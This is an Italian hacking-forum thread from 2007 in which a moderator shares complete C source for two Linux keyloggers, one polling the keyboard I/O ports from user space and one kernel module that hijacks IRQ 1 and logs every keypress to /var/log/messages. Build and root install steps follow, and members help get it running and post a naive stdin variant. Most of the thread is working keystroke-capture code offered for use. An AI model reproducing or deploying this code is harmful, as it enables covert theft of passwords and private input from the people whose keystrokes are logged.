Xhack
Vuoi reagire a questo messaggio? Crea un account in pochi click o accedi per continuare.
Xhack

Un forum dedicato all'hacking
 
IndiceIndice  PortalePortale  CercaCerca  Ultime immaginiUltime immagini  RegistratiRegistrati  Accedi  

 

 [C] Linux keylogger

Andare in basso 
4 partecipanti
AutoreMessaggio
BlackLight
Moderatore
Moderatore
BlackLight


Numero di messaggi : 277
Età : 37
Data d'iscrizione : 22.08.07

[C] Linux keylogger Empty
MessaggioTitolo: [C] Linux keylogger   [C] Linux keylogger EmptyMer Nov 28, 2007 6:08 pm

Dopo un bel po' di peripezie sono riuscito a completare (ancora provvisoriamente per il riconoscimento di tutti i caratteri da tastiera) il mio keylogger in ambiente Linux e in user space. L'applicazione legge in polling dall'indirizzo di I/O della tastiera e dal registro di stato della tastiera stessa per vedere se è stato inviato un nuovo carattere, e in caso affermativo invia un carattere sul file di log stabilito.

Codice:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/io.h>

#define KB_IO  0x60
#define KB_STATUS      0x64
#define SLEEP_T 50

// Funzione per la conversione di un carattere letto
// dal registro della tastiera in un carattere ASCII
const char get_key(int code)  {
        if ((code>=2) && (code<=10))
                return (char) code+29;

        switch (code)  {
                case(11):        return '0'; break;
                case(12):        return '\'';break;
                case(13):        return 'ì'; break;
                case(15):        return '\t';break;
                case(16):                return 'q'; break;
                case(17):        return 'w'; break;
                case(18):        return 'e'; break;
                case(19):        return 'r'; break;
                case(20):        return 't'; break;
                case(21):        return 'y'; break;
                case(22):        return 'u'; break;
                case(23):        return 'i'; break;
                case(24):        return 'o'; break;
                case(25):        return 'p'; break;
                case(27):        return '+'; break;
                case(28):        return '\n';break;
                case(30):        return 'a'; break;
                case(31):        return 's'; break;
                case(32):        return 'd'; break;
                case(33):        return 'f'; break;
                case(34):        return 'g'; break;
                case(35):        return 'h'; break;
                case(36):        return 'j'; break;
                case(37):        return 'k'; break;
                case(38):        return 'l'; break;
                case(39):        return 'ò'; break;
                case(40):        return 'à'; break;
                case(44):        return 'z'; break;
                case(45):        return 'x'; break;
                case(46):        return 'c'; break;
                case(47):        return 'v'; break;
                case(48):        return 'b'; break;
                case(49):        return 'n'; break;
                case(50):        return 'm'; break;
                case(51):        return ','; break;
                case(52):        return '.'; break;
                case(53):        return '-'; break;
                case(57):                return ' '; break;
        }

        // Se il carattere non è riconosciuto, ritorno 0
        return 0;
}

int main (int argc, char **argv)  {
        int lastcode=0,code=0;
        FILE *fp;

        // Se non è specificato il file di log, esco
        if (argc!=2)  {
                printf ("%s <logfile>\n",argv[0]);
                return 1;
        }

        // Se il file di log non è scrivibile, esco
        if (!(fp=fopen(argv[1],"a")))  {
                printf ("Impossibile scrivere su %s\n",argv[0]);
                return 2;
        }

        // Se non posso aprire tramite ioperm() il registro della
        // tastiera o il registro di status, esco
        if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1)  {
                printf ("Impossibile accedere alla porta di I/O della tastiera\n");
                return 3;
        }

        // Ciclo di lettura con un intervallo di tempo
        // tra una lettura e l'altra costante
        for (;; usleep(SLEEP_T))  {
                code=0;

                // Se la tastiera 'ha parlato', leggo il valore inserito
                if (inb(KB_STATUS)==20)
                        code=inb(KB_IO);

                // Se è un carattere leggibile, lo converto in ASCII e lo stampo
                // sul log
                if (code)  {
                        if (code!=lastcode)  {
                                lastcode=code;

                                if (get_key(code))  {
                                        fprintf (fp,"%c",get_key(code));
                                        fflush (fp);
                                }
                        }
                }
        }
}
Torna in alto Andare in basso
http://blacklight.gotdns.org
darkjoker
Admin
Admin
darkjoker


Numero di messaggi : 813
Data d'iscrizione : 30.07.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyMer Nov 28, 2007 6:09 pm

ce l'hai fatta... eh?
compliementi...
dannazione... perche sei cosi bravo in C...?
Torna in alto Andare in basso
BlackLight
Moderatore
Moderatore
BlackLight


Numero di messaggi : 277
Età : 37
Data d'iscrizione : 22.08.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyMer Nov 28, 2007 10:40 pm

Grazie Very Happy

Appena creata anche una versione come modulo del kernel Linux, che sfrutta il meccanismo del request_irq() provvisto dal kernel e registra ogni tasto premuto su /var/log/messages, con relativa ora e data:

Codice:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/interrupt.h>

#include <asm/uaccess.h>
#include <asm/io.h>
#include <asm/irq.h>

#define MODULE_NAME            "kmklogger"
#define KB_IO                  0x60
#define KB_STATUS                      0x64

const char get_key(int code)  {
        if ((code>=2) && (code<=10))
                return (char) code+29;

        switch (code)  {
                case(11):        return '0'; break;
                case(12):        return '\'';break;
                case(13):        return 'ì'; break;
                case(15):        return '\t';break;
                case(16):        return 'q'; break;
                case(17):        return 'w'; break;
                case(18):        return 'e'; break;
                case(19):        return 'r'; break;
                case(20):        return 't'; break;
                case(21):        return 'y'; break;
                case(22):        return 'u'; break;
                case(23):        return 'i'; break;
                case(24):        return 'o'; break;
                case(25):        return 'p'; break;
                case(27):        return '+'; break;
                case(28):        return '\n';break;
                case(30):        return 'a'; break;
                case(31):        return 's'; break;
                case(32):        return 'd'; break;
                case(33):        return 'f'; break;
                case(34):        return 'g'; break;
                case(35):        return 'h'; break;
                case(36):        return 'j'; break;
                case(37):        return 'k'; break;
                case(38):        return 'l'; break;
                case(39):        return 'ò'; break;
                case(40):        return 'à'; break;
                case(44):        return 'z'; break;
                case(45):        return 'x'; break;
                case(46):        return 'c'; break;
                case(47):        return 'v'; break;
                case(48):        return 'b'; break;
                case(49):        return 'n'; break;
                case(50):        return 'm'; break;
                case(51):        return ','; break;
                case(52):        return '.'; break;
                case(53):        return '-'; break;
                case(57):        return ' '; break;
        }

        return 0;
}

irqreturn_t irq_handle(int irq, struct pt_regs *reg)  {
        int code=inb(KB_IO);

        printk (KERN_INFO "Key: %c\n",get_key(code));
        return IRQ_HANDLED;
}

int __init start(void)  {
        free_irq(1, NULL);
        return request_irq (1,
                                        irq_handle,
                                        SA_SHIRQ,
                                        "my_kbd",
                                        (void*)(irq_handle));
}

void __exit end(void)  {
        free_irq(1, NULL);
}

module_init(start);
module_exit(end);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("blacklight86@gmail.com");

Per compilarlo, usare questo Makefile:

Codice:
obj-m = key.o
KVERSION = $(shell uname -r)
all:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean

e inserire il modulo come root con il comando

Codice:
insmod key.ko

p.s. Attenzione a non rimuovere il modulo con rmmod dopo averlo inserito: il sistema non può in nessun modo gestire l'IRQ manager originale, la tastiera si ritrova senza gestore e il sistema va in kernel panic.
Torna in alto Andare in basso
http://blacklight.gotdns.org
darkphantom
hack-member
hack-member
darkphantom


Numero di messaggi : 398
Data d'iscrizione : 03.09.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyGio Nov 29, 2007 5:13 pm

molto, moolto bello...
Torna in alto Andare in basso
darkwolf
membro importante
membro importante
darkwolf


Numero di messaggi : 225
Localizzazione : Un pò più a destra ecco bravo adesso un pò più in basso perfetto abito lì
Data d'iscrizione : 05.11.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyGio Nov 29, 2007 5:14 pm

Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked

Non dico altro...
Torna in alto Andare in basso
darkjoker
Admin
Admin
darkjoker


Numero di messaggi : 813
Data d'iscrizione : 30.07.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyGio Nov 29, 2007 6:11 pm

scusa una cosa, black:
Citazione :

Codice:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/io.h>

la libreria asm/io che dovrebbe essere una libreria che gestisce input & output non mem la trova... è qualche libreria made up by you?
Torna in alto Andare in basso
BlackLight
Moderatore
Moderatore
BlackLight


Numero di messaggi : 277
Età : 37
Data d'iscrizione : 22.08.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyGio Nov 29, 2007 8:03 pm

@dark: Assolutamente no, è una libreria messa a disposizione dallo stesso kernel Linux (anzi, è LA libreria del kernel Linux). Mi serve per usare primitive di I/O di basso livello come ioperm e inb, per accedere a basso livello ai registri della tastiera. L'hai compilato su Linux quel codice? Hai le glibc correttamente installate? Se entrambe le risposte a queste domande sono affermative,

1) Controlla se esiste il file /usr/include/asm/io.h
2) Invece di asm/io.h prova a usare sys/io.h
Torna in alto Andare in basso
http://blacklight.gotdns.org
darkjoker
Admin
Admin
darkjoker


Numero di messaggi : 813
Data d'iscrizione : 30.07.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyGio Dic 06, 2007 6:49 pm

ok, era solo che io il file io.h ce l'avevo in sys invece che in asm...
vado tutto convinto per compilare il file, compilo senza errori...
wow, vedrò finalmente in funzione il keylogger di Black... siii vadoooo!
Codice:

darkjoker@kubuntu:~/Desktop$ ./keylog tasti.txt
Impossibile accedere alla porta di I/O della tastiera
darkjoker@kubuntu:~/Desktop$
noooooo!!!!
peccato... mi sarebbe piaciuto vederlo all'opera... solo che c'ho una tastiera di merda...
e vabbe!!!!!

ps: ora mi sto provando a fare il mio keylogger in C... con qualche risultato... (stranO)
Torna in alto Andare in basso
BlackLight
Moderatore
Moderatore
BlackLight


Numero di messaggi : 277
Età : 37
Data d'iscrizione : 22.08.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyGio Dic 06, 2007 7:43 pm

dark che sistema usi? Macchina Intel, AMD o Mac? Considera che il mio keylogger l'ho scritto per macchine Intel, su altri sistemi la porta potrebbe essere mappata diversamente. Per verificare l'indirizzo:

Codice:
blacklight@nightmare:~$ cat /proc/ioports | grep keyboard
0060-006f : keyboard

Prendi il valore che ti salta fuori e sostituiscilo nel DEFINE al posto di KB_IO (ricordando sempre KB_STATUS=KB_IO+4).

p.s. Or che mi sovviene...l'eseguibile lo devi avviare come root, altrimenti è logico che non puoi usare la funzione ioperm()!
Torna in alto Andare in basso
http://blacklight.gotdns.org
darkjoker
Admin
Admin
darkjoker


Numero di messaggi : 813
Data d'iscrizione : 30.07.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyVen Dic 07, 2007 7:54 pm

ora provo... thanks...
come avevo detto, ho creato una sottospecie (troppo gentile) keylogger fai-da-me, giusto per divertirmi un po' e per provare (senza successo) a provare a provare di "imitare" (scusate per l'ambizione) blacklight...
come ho gia detto non sono riuscito a fare quello che ha fatto blacklight ( Sad ) ma nel mio keylogger uso solo la libreria stdio e per ricevere gli input da tastiera uso stdin, che, in poche parole, potrebbe essere una variabile che contiene gli input inseriti da tastiera e li salva su un file denominato keylog.txt, non ho perso tempo a usare argc e argv per far inserire all'utente il nome del file da creare perche questo keylogger è solo una beta, quindi visto che per ogni modifica devo ricompilare tutto non c'ho voglia ogni volta di pulire il file di log e di metterne ogni volta uno nuovo...
se non capite qualcosa (molto difficile) chiedetemi pure, cercherò di rispondervi, e in teoria dovrei farcela, visto che il keylogger l'ho fatto io, ma non si sa mai... come sapete ho una buonissima memoria quindi è possibile che se mi chiedete di spiegarvi il source del keylogger io vi guardi (virtualmente) con una faccia spaventata pensando (e che cazzo dice questo???).. ok, non mi dilungo e vi posto il source del programma, naturalmente sono beneaccette critiche, commenti, revisioni del codice, etc...
Codice:

#include <stdio.h>
main (){
char key;
FILE *keylog;
keylog = fopen ("keylog.txt", "a");
while (key != '@'){
fscanf (stdin, "%c", &key);
fprintf (keylog, "%c", key);
}
fclose (keylog);
}
dimenticavo... se lo mettete in background (con linux si mette una & dopo il comando, cosi:
Codice:

darkjoker@kubuntu:~$ ./keylog &
e provate a eseguire qualche comando... niente, qualcuno (ormai sul forum qualcuno == blacklight Very Happy ) puo dirmi come mai? si puo correggere questo bug (o magari è solo una stronzata mia... non so...) che rende inutilizzabile il keylogger?
thanks... ciautz
Torna in alto Andare in basso
BlackLight
Moderatore
Moderatore
BlackLight


Numero di messaggi : 277
Età : 37
Data d'iscrizione : 22.08.07

[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger EmptyVen Dic 07, 2007 8:36 pm

E secondo te se era così facile farlo perché io mi sarei scomodato al punto di interrogare in polling i registri di status e data della tastiera a basso livello? Very Happy

Con il codice fatto da te riesci a prendere in input solo i caratteri passati al processo stesso, non quelli passati ad altri processi o tasti premuti così, e la fscanf si 'attiva' solo quando viene premuto INVIO, quindi il codice che hai fatto non è utilizzabile come keylogger...
Torna in alto Andare in basso
http://blacklight.gotdns.org
Contenuto sponsorizzato





[C] Linux keylogger Empty
MessaggioTitolo: Re: [C] Linux keylogger   [C] Linux keylogger Empty

Torna in alto Andare in basso
 
[C] Linux keylogger
Torna in alto 
Pagina 1 di 1
 Argomenti simili
-
» Keylogger
» DrA hat Fedora Linux
» Autoit per linux
» passare a linux
» Descrizione generale di Linux

Permessi in questa sezione del forum:Non puoi rispondere agli argomenti in questo forum.
Xhack :: Programmazione :: C/C++-
Vai verso: